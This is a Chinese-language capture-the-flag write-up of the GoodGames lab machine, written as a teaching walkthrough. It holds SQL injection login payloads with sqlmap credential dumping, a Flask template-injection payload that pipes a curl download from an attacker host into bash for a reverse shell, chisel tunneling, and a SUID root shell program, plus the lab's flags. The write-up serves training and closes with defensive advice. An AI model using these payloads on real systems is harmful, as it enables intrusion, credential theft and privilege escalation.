[Meachines] [Easy] GoodGames SQLI+Flask SSTI+Docker逃逸权限提升
字数 913 2025-08-22 12:23:41

GoodGames 渗透测试教学文档

1. 信息收集阶段

1.1 端口扫描

使用masscan进行快速端口扫描:

sudo masscan -p1-65535,U:1-65535 10.10.11.130 --rate=1000 -p1-65535,U:1-65535 -e tun0 > /tmp/ports

使用nmap进行详细服务扫描:

ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
nmap -Pn -sV -sC -p$ports 10.10.11.130

扫描结果显示:

  • 80/tcp open http Apache httpd 2.4.51
  • 服务器头信息: Werkzeug/2.0.2 Python/3.9.2
  • 主机名: goodgames.htb

1.2 子域名枚举

使用ffuf进行子域名爆破:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u http://FUZZ.goodgames.htb -H "Host: FUZZ.goodgames.htb" -ac

发现内部管理子域名:

echo '10.10.11.130 internal-administration.goodgames.htb' >> /etc/hosts

2. SQL注入攻击

2.1 发现SQL注入点

在登录表单中发现SQL注入漏洞:

email=1%40gmail.com'--+&password=123
email=1%40gmail.com'%20OR%20'1'='1'--+&password=123

2.2 使用sqlmap自动化利用

创建请求文件(sqli):

POST /login HTTP/1.1
Host: goodgames.htb
Content-Type: application/x-www-form-urlencoded

email=1%40gmail.com*&password=123

使用sqlmap进行注入:

sqlmap -r sqli -p email --batch
sqlmap -r sqli -p email --batch -D main -T user --dump

获取到管理员凭据:

  • email: admin@goodgames.htb
  • username: admin
  • password: superadministrator

3. Flask SSTI注入

3.1 访问内部管理面板

使用获取的凭据登录内部管理面板:

http://internal-administration.goodgames.htb/login

3.2 发现SSTI漏洞

在设置页面测试模板注入:

POST /settings HTTP/1.1
Host: internal-administration.goodgames.htb
Content-Type: application/x-www-form-urlencoded

name={{9*9}}

确认存在SSTI后,执行命令:

name={{config.__class__.__init__.__globals__['os'].popen('curl%20http://10.10.16.16/rev|bash').read()}}

获取反向shell后找到user flag:

388118f20c90df4d38744d9ac624dd43

4. Docker逃逸提权

4.1 建立隧道

服务器端:

chisel server -p 8000 --reverse

客户端:

./chisel_1.10.1_linux_amd64 client 10.10.16.16:8000 R:localhost:1080:socks

4.2 网络探测

使用自定义脚本进行内网探测:

./host_discovery.sh 172.19.0

发现172.19.0.1主机。

4.3 SSH连接

通过代理连接:

sudo proxychains -f 10.10.11.130.conf ssh augustus@172.19.0.1

4.4 创建SUID二进制文件

编写C程序:

#include <stdio.h>
#include <stdlib.h>

int main() {
    setuid(0);
    system("/bin/bash");
}

编译并设置SUID:

wget http://10.10.16.16/suid.c
gcc suid.c -o suid
chmod u+s suid

执行获取root权限:

./suid

获取root flag:

a42c76fe28f8a2556fa7e8794f133c15

5. 关键知识点总结

  1. 信息收集:masscan快速扫描+nmap详细扫描组合使用,子域名枚举技巧

  2. SQL注入

    • 手工测试注入点
    • sqlmap自动化利用
    • 数据提取技术
  3. SSTI注入

    • Flask模板注入检测
    • Python沙箱逃逸
    • 远程代码执行
  4. Docker逃逸

    • 内网探测技术
    • 隧道建立方法
    • SUID提权技术
  5. 权限提升

    • 编写SUID程序
    • 编译与权限设置
    • 本地提权执行

6. 防御建议

  1. 对用户输入进行严格过滤和参数化查询
  2. 禁用或限制模板引擎的动态执行功能
  3. 定期更新Docker和容器环境
  4. 限制容器内用户的权限
  5. 监控异常网络连接和特权操作
GoodGames 渗透测试教学文档 1. 信息收集阶段 1.1 端口扫描 使用masscan进行快速端口扫描: 使用nmap进行详细服务扫描: 扫描结果显示: 80/tcp open http Apache httpd 2.4.51 服务器头信息: Werkzeug/2.0.2 Python/3.9.2 主机名: goodgames.htb 1.2 子域名枚举 使用ffuf进行子域名爆破: 发现内部管理子域名: 2. SQL注入攻击 2.1 发现SQL注入点 在登录表单中发现SQL注入漏洞: 2.2 使用sqlmap自动化利用 创建请求文件(sqli): 使用sqlmap进行注入: 获取到管理员凭据: email: admin@goodgames.htb username: admin password: superadministrator 3. Flask SSTI注入 3.1 访问内部管理面板 使用获取的凭据登录内部管理面板: 3.2 发现SSTI漏洞 在设置页面测试模板注入: 确认存在SSTI后,执行命令: 获取反向shell后找到user flag: 4. Docker逃逸提权 4.1 建立隧道 服务器端: 客户端: 4.2 网络探测 使用自定义脚本进行内网探测: 发现172.19.0.1主机。 4.3 SSH连接 通过代理连接: 4.4 创建SUID二进制文件 编写C程序: 编译并设置SUID: 执行获取root权限: 获取root flag: 5. 关键知识点总结 信息收集 :masscan快速扫描+nmap详细扫描组合使用,子域名枚举技巧 SQL注入 : 手工测试注入点 sqlmap自动化利用 数据提取技术 SSTI注入 : Flask模板注入检测 Python沙箱逃逸 远程代码执行 Docker逃逸 : 内网探测技术 隧道建立方法 SUID提权技术 权限提升 : 编写SUID程序 编译与权限设置 本地提权执行 6. 防御建议 对用户输入进行严格过滤和参数化查询 禁用或限制模板引擎的动态执行功能 定期更新Docker和容器环境 限制容器内用户的权限 监控异常网络连接和特权操作